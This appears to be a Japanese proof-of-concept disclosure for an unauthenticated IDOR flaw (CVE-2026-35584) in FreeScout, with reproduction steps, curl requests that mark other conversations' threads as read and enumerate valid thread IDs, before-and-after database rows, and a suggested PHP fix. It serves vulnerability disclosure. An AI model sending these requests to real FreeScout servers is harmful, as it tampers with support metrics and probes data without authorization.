
FreeScoutの未認証IDOR脆弱性に対する概念実証エクスプロイト。細工したHTTPリクエストにより、スレッドの列挙と既読ステータスの操作が可能になります。
POC - CVE-2026-35584 FreeScout
エンドポイント GET /thread/read/{conversation_id}/{thread_id} は認証を必要とせず、指定された thread_id が指定された conversation_id に属するかどうかを検証しません。これにより、認証されていない任意の攻撃者が以下を行うことができます:
任意の ID を渡して任意のスレッドを既読としてマークする HTTP レスポンスコード (200 vs 404) を介して有効なスレッド ID を列挙する 会話をまたいで opened_at タイムスタンプを操作する (IDOR)
影響を受けるバージョン
1.8.211 (最新)
2 つの会話を作成する (conv_id=1 と conv_id=2) 会話 2 にスレッドを作成する (thread_id=3) 認証なしで、以下を送信する: GET /thread/read/1/3 データベースで確認する — thread_id=3 の opened_at が設定されている。誤った conversation_id でアクセスされたにもかかわらず
curl -v "http://TARGET/thread/read/1/3"
HTTP 200 を返し、スレッド 3 の opened_at を設定する
認証が不要 IDOR: thread_id が conversation_id に対して検証されない スレッド列挙: HTTP 200 = 有効なスレッド、404 = 無効 サポートエージェントが使用する既読/未読メトリクスの操作 会話の分離モデルを破壊する
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
スレッド列挙 (認証なし)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (有効なスレッド)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (有効なスレッド)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - スレッドは会話 2 に属する)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (無効なスレッド)
実行前: | id | conversation_id | opened_at | | 3 | 2 | NULL |
GET /thread/read/1/3 実行後 (認証なし): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |